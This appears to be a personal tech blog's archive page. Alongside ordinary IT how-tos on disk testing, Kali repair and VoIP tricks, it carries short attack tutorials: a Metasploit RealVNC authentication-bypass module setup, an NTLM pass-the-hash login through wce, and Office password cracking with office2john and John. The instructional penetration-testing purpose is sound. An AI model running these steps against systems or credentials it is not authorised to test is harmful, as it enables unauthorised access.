Tuesday, October 9, 2018
My New Blog!
Thursday, June 30, 2016
RealVNC Authentication Bypass
show options
set autovnc true
set rhost <target-victim>
run
http://www.tenable.com/plugins/index.php?view=single&id=21564
https://vulners.com/metasploit/MSF:AUXILIARY/ADMIN/VNC/REALVNC_41_BYPASS
http://www.intelliadmin.com/index.php/2006/05/security-flaw-in-realvnc-411/
Saturday, May 28, 2016
Metasploit: Find Usernames Used As Passwords
![]() |
| Example attack |
Monday, April 4, 2016
P2V Windows 7: BSOD Solution
Before I give you the how-to, I want to say I'm very thankful to these two bloggers for the information on the aforementioned tools, and also thankful to various forum posters from whom I got the needed registry settings. Today's post is meant to gather the various information I used into one resource and relate my experience. Also, the offline registry edit I did from a live (virtual) CD may be useful information to some. Here are the steps I used to P2V my Windows 7 Pro 64-bit machine so that it could be used in VMware Workstation Player:
1. Download and run Disk2vhd on the Windows 7 physical machine you want to convert.
8. Choose the registry editor in the AVG Rescue CD menu under Utilities.
9. Navigate to HKLM\SYSTEM\ControlSet[001]\services\
10. For me, I was able to fix the problem by editing each of the following to be a value of 0:
HKLM\SYSTEM\ControlSet[001]\services\LSI_SAS\Start
HKLM\SYSTEM\ControlSet[001]\services\LSI_SAS2\Start
However, reading online, it appears that some users with different drivers had to make other registry changes under HKLM\SYSTEM\ControlSet[001]\services\. Here are some of the other edits I saw on various forums:
Aliide\Start = 3
Amdide\Start =3
Atapi\Start = 0
Cmdide\Start = 3
iaStorV\Start = 3
intelide\Start = 0
msahci\Start = 3
pciide\Start = 3
viaide\Start = 3
Do not make these updates unless you know what you are doing. Consider writing down the current settings before making any changes so you can revert if needed.
11. As soon as I made the LSI_SAS\Start and LSI_SAS2\Start registry edits and booted back into the native/guest OS, it started working!
Live CD: AVG Rescue CD ( avg_arl_cdi_all_120_150814a10442.iso )
vmware Workstation 12 Player
Wednesday, September 16, 2015
Passing an NTLM Hash to the Browser
| (click to zoom) |
Use wce
Extracted hash (extraction process not covered in this post)
Windows computer to perform the attack from
Target website which uses NTLM authentication
Connectivity to the website
wce (Windows Credentials Editor)
https://dl.packetstormsecurity.net/Win/wce_v1_4beta_universal.zip (expect browser/AV blocking)
Windows 7, 64 bit
Internet Explorer 11, 64 bit
wce v1.4beta x64 (Windows Credentials Editor)
Steps:
1. Log onto the Windows computer which will be used for the attack
2. Configure Internet Options:
a. Security>Custom level for the zone>Automatic logon only in intranet zone
b. Add website to Local Intranet sites
3. Run wce, give it the hash and tell it to call IE: wce -s <UserName>:<DomainName>:<LMHash>:<NTHash> -c "C:\Program Files\Internet Explorer\iexplore.exe"
4. Browse to the website for the automatic login
As you can see, the attack is very simple. Here are the wce command line switches in use:
-s Changes NTLM credentials of current logon session. Parameters: <UserName>:<DomainName>:<LMHash>:<NTHash>.
-c Run <cmd> in a new session with the specified NTLM credentials.
Wednesday, September 9, 2015
Cracking Microsoft Office File Passwords
First, you'll need to download office2john.py. You can get it from github here. Or, you can download a copy I put here.
Depending on your cracking strategy, you will likely also need a dictionary file for the attack. I will be using a dummy dictionary file as PoC, but there are lots out there and I won't go into that as a part of this post.
You'll of course also need John installed (google it) and will need a target Office file. I'm doing this from Kali 2.0 on an Excel 2013 test file which I encrypted with a password from Excel. Here are the files/names I used:
dictionary.lst (dictionary file)
office2john.py (extracts hash)
test-crack.xlsx (target)
Okay, here we go. First, we extract the hash:
./office2john.py test-crack.xlsx > test-crack-hash.txt
![]() |
| (click to zoom) |
The hash has now been outputted to test-crack-hash.txt and we can begin cracking. The method I used was a dictionary attack:
john --session=xlsx --rules --wordlist=dictionary.lst test-crack-hash.txt
Here is an explanation of the command line options used:
--session=
An optional identifier for you to manage the John session, in case you have multiple sessions. You can make the string after the equals sign be whatever you want.
--rules
Enables wordlist rules
--wordlist=
The dictionary file to use for the attack.
[filename]
The last parameter is the text file containing the extracted hash.
It should show the password when it completes, if your cracking was successful. You can also run the following to show the cracked password, after it completes: john --show test-crack-hash.txt
Now you should be able to open the Office file using the password you cracked. It goes without saying, that this should only be used for ethical purposes, so don't do evil stuff!
Ciao!
Sunday, August 30, 2015
Installing Kali via YUMI
Here's the fix I came up with. I went back to the menu and chose Execute a Shell. Using the shell, I deleted /cdrom and created a new symlink to /cdrom from the appropriate directory of the installation media. (Fyi, in this particular chassis, I don't have a CD-ROM drive at all.)
This tricked the installer into thinking the files on the USB thumb drive were located on an installer CD. The issue was immediately resolved and the installer was able to proceed past the point it was stuck at.
Hope this little hack helps someone out!
Ciao!
Wednesday, July 22, 2015
Kali Broken - "Cleaning up temporary files"
I've documented the steps I used to fix it, minus a few wrong turns I took. :) Hope this helps someone:
- Download Kali Linux in order to boot it live for the repair
- Create bootable media from the ISO (I like YUMI)
- Boot the live Kali to the GUI
- Run the command df from Terminal and leave the results up for now
- Open Thunar, right click the HDD with the broken Kali install and choose mount
- Type the encryption password (this gave me an error which I just ignored)
- Right click the LVM and start the multidisk
- Wait a moment and then right click again and mount it. Unfortunately, this mounts it read only. No worries...
- Run df again in order to determine what was mounted and where. Compare the 2 df outputs.
- Now unmount it with: sudo umount /media/the-place-it-is-mounted
- Create a new directory for mounting: sudo mkdir /media/hdd
- Mount it as read/write: sudo mount -o rw /the/path /media/hdd (Replace /the/path with the partition you are trying to mount. You can determine this by comparing the results from the 2 times you ran df.)
- Use chroot to make the mounted filesystem be treated sorta like you booted into it directly: chroot /media/hdd
- Delete whatever you can to free up space
- Clean up the tmp files: rm -r /tmp/*
- Exit chroot: exit
- Close Terminal
- Go back to Thunar, unmount and stop the multidisk.
- Reboot into the repaired Kali install!
Remember, always keep good backups!!
EDIT: @blackMOREOps just reminded me of something...Don't forget to clean the Trash folder! I did this and forgot to document. Thanks @blackMOREOps!
Repaired OS: Kali Linux 1.0.6, 32 bit
Live OS: Kali Linux 1.1.0a, 32 bit
Tuesday, June 30, 2015
A Prophesy
I will even predict the URL of his tweet:
https://twitter.com/troyhunt/status/618909553892003840
You're welcome!
Monday, September 1, 2014
Make a Phablet With Free Out/Inbound VoIP Calls
I think we need one last Google Voice hack before Google potentially messes it up by moving it to Hangouts, don't ya think? Okay, how about turning your tablet into a phablet using Google Voice and Talkatone and having free calls in and out? What's a phablet? A hybrid between a tablet and a phone, of course! I just made my Android tablet a phablet by doing these simple steps:
1. Install the Google Voice app on the tablet
2. Install the Talkatone app on the tablet
3. Go to a web browser and add the Talkatone phone number to the Google Voice account
So where does the hacking come in? It's like this: Talktone only let's you receive calls for free, but not dial calls for free. Once your introductory free minutes are gone, you've gotta pay up in order to dial out. Unless you're me or you, that is! You see, we are going to call out by making the Google Voice app call IN to your Talkatone app. Wait, you mean one app will call the other app, all on the same device??? Yup!!!
When you need to dial out, just go to the Google Voice app and dial your friend's number but choose your Talkatone phone number in the dropdown menu. The next thing that will happen is that your Talkatone app will ring. Once you pick it up, it will start ringing your friend's number. Just like my previous Google Voice hack, we are basically dialing out by dialing in! Enjoy free unlimited outbound/inbound VoIP on your phantabulet!!!
Thursday, August 7, 2014
Test HDD using smartctl and automate status
I quite often test hard drives using various vendor specific live environments like SeaTools, etc. But what if you want to use a (live) Linux distro? This is quite doable with smartctl which is a part of smartmontools.
Below are steps to do this, complete with a cool way to automate the status of the test appearing on the screen. Without automating the status, you will not receive any stdout notification unless you run a command manually. Remember, on some distros you will need to use sudo. Also, you will need to have smartmontools installed. If you don't know how to install it, there is plenty of info on Google on that. Keep in mind, some drives don't support SMART, which is lame.
1. Start with looking at your disks to get the filename of the disk as it appears in /dev.
fdisk -l
2. Once you've determined the disk you need to check, you can do a basic health status check. This is not authoritative but gives you a basic idea. Be sure to replace [sda] with your disk.
smartctl /dev/[sda] -H
3. If you want to geek out on every last detail of the status/health of your disk which is currently available you can do that, too.
smartctl /dev/[sda] -a
4. Okay, now it's time to start a test. You can run a short test or a long test, etc. but I always like to run a long test because it's more thorough.
smartctl /dev/[sda] --test=long
5. Smartctl has one downside. It doesn't show you a status of the test running in the background unless you run smartctl -a and find the result within that information. To make things easier, I've provided a way to automate the status of the test so that it scrolls down the screen showing the percent complete. It will also display "...completed" when it is finished.
watch -n 1 smartctl /dev/[sda] -a | grep 'execution\|remaining'
(Note the backslash followed by a pipe for OR.)
6. When the test is complete, you will still need to manually check the result of the test to see if there were errors.
smartctl /dev/[sda] -a
7. Near the bottom of the output will be a section that begins with: "SMART Self-test log structure revision number..." Right below that, you will see the result of recent tests with the most recent (yours) listed first. The status will be shown, including the LBA of the first error, if there are any.
8. Here are a couple of other useful commands...
Help (useful in live Linux distros that do not contain man pages): smartctl -h
Abort a test that is currently running: smartctl /dev/[sda] -X
Enjoy!
If this helped you, consider leaving a comment and saying hello!
Tested on...
smartctl: 6.0 2012-10-10 r3643
OS: AVG 2013-08-01 from live USB drive
Tuesday, July 22, 2014
Hack your DSL line to get phone service
When my ISP installed my DSL only service (no phone), the technician tested the line for a dial tone with a buttset. This got me thinking. I asked the technician why there was a dial tone if it was a dry loop with DSL only. He said that there is indeed a dial tone but that you can only dial 911 or receive calls. He said you can't call out to anything besides 911. I said to myself, "Wanna bet?"
I hacked it in under 5 minutes. Now I can call in and out, including free long distance. No, I didn't violate any laws or do anything highly technical. I just setup Google Voice! This saves me $20 a month. Now I'm not saying this will work with your DSL provider, but it did for mine so I thought I'd share.
Here's what I did:
1. Retrieved the phone number for my DSL service (this was provided to me when I signed up)
2. Added the phone to my existing Google Voice account with Gear icon>Settings>Phones>Add another phone
3. When Google Voice asked to verify my phone, I chose voice verification. My old POTS line phone rang and I typed in the 2 digit verification code.
That's it!
How dialing in works: If you dial my Google Voice number, it rings my home phone.
How dialing out works: Well, it's admittedly a bit clunky but I browse to voice.google.com, click call, put in the number, choose the "Phone to call with" and wait for it to ring. Once I pick up the phone, it connects me to the number I dialed from my browser. I can also do this from my Android device using the Google Voice app.
The beauty of this hack is that it dials out by dialing in. :)
Why have a home phone in the cell phone age? Well, cell phones are awesome but they run out of battery, get lost or damaged, etc. My home phone is powered by the phone line and sits there reliably on a shelf for when it is needed. Nice to have options.
Hope this helps someone save some money. Don't forget your DSL filter! If this helped you, leave me a quick comment.
Monday, April 28, 2014
Make UBCD's Parted Magic boot from a USB drive
I love UBCD. It's a bootable CD with tools to do everything from securely shred hard drives to modify Windows registry from Linux. I also love YUMI. It allows you to create a bootable USB flash drive with multiple operating systems on it and even has support for adding or removing specific distros without killing your whole setup.
One problem. If you use YUMI to create a bootable USB drive with UBCD on it, the bundled version of Parted Magic will not boot. Parted Magic is really awesome for rescuing systems, etc. so I was disappointed about this. I checked my md5sum and it was good but when booting from my USB drive it would complain that it couldn't find the sqfs. When I burned the very same ISO to a CD, Parted Magic worked fine, though!
After not finding the information on Google and banging my head against a wall for a while, I was able to figure it out. Here's what I did:
1. Download YUMI and UBCD and use YUMI to add UBCD to the USB drive. If you need help with that part, there's lots of info on Google.
2. Extract your downloaded UBCD ISO. There is lots of info on Google on how to extract an ISO, also.
3. Once you've extracted your ISO, look for the pmagic folder and copy it to the root of your USB flash drive.
That's it! Pretty easy but was a bit of a headache to figure out! Hope this post helps you! If so, please comment and say hello. I try to respond to as many comments as possible.
By the way, if you use WINE to run YUMI from Linux as I did, beware that YUMI cannot format the drive even if you use sudo. The only way I was able to use it from Linux (Kali) was to use a USB drive that already had YUMI on it (which I installed from a Windows box a while ago). In other words, you can only modify your existing YUMI install from WINE, you can't do the initial YUMI install. If anybody finds a way around this, please comment below and let me know! Also, don't forget you'll have to use winecfg to connect WINE to your USB drive.
Happy hacking!
Tested on:
Kali Linux 1.0
SanDisk 16GB USB flash drive
VirtualBox 4.3.10 r93012 (using raw disk hack to boot to USB drive)
wine-1.4.1
YUMI-2.0.0.3
Ultimate Boot CD V5.2.9
PMAGIC_2013_08_01
Saturday, September 7, 2013
Plausible deniability of a hidden OS - Part 3
Links to each section:
Part 1 - (Un)boring intro with all the snazzy info
Part 2 - Setup your second partition
Part 3 - Setup your first partition (sounds backwards, I know) -- you are here
Part 4 - Other cool stuff -- COMING SOON
Part 3 - Setup your first partition
~So now that you have copied your operating system from Partition 1 to the inner volume of Partition 2 we need to securely wipe the contents of Partition 1. Otherwise, even if you reinstall Windows on Partition 1, someone with forensic capabilities may be able to recover the previous Windows installation Partition 1 and thereby build a case that you have a hidden operating system, etc.
~Here is the success dialog:
~Click Exit:
~More mouse fun! Great to feel like you are a part of the process, huh? :-) Move that mouse for the greater good of your encryption strength!
~As stated, this will take a while once it actually starts which will happen later...
Links to each section:
Part 1 - (Un)boring intro with all the snazzy info
Part 2 - Setup your second partition
Part 3 - Setup your first partition (sounds backwards, I know) -- you are here
Part 4 - Other cool stuff -- COMING SOON























